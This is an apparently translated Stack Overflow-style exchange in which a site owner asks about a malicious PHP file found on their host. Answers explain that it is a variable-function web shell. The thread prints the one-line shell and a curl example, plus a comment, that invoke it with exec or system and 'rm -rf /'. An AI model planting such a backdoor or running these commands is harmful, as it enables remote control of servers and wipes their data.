2014-02-20 86 views
3

我發現我的託管帳戶的惡意PHP文件與此代碼:剛剛發現的惡意PHP代碼

<?=$_GET[0]($_POST[1]);?> 

請幫助我更好地理解這個代碼,這是什麼代碼上傳的可能性?

在此先感謝。

回答

6
$func = 'strlen'; 
$arg = 'foo'; 

echo $func($arg); // output: 3 

您正在尋找一個變量函數調用。就你而言,函數名稱來自URL中的查詢字符串以及來自HTTP POST主體的參數。所以,這可以執行任何操作。可能有人會嘗試使用它通過exec執行shell代碼。

例如爲:

$ curl example.com/infected_file.php?exec -d 'rm%20-rf%20/' 

(不是100%肯定這將做它是我不喜歡很努力,但你的想法。)

+0

尼斯一個deceze。 ** + 1 ** –

+0

我認爲在實例中明確寫出真正的利用潛力會更好一些,例如, 'system'&&'rm -rf /'。無論如何,大多數人都清楚這一點,但無論如何也無濟於事。仍然+1是正確的。 – dbemerlin

+0

所以這是非常危險的... – Mikerobenics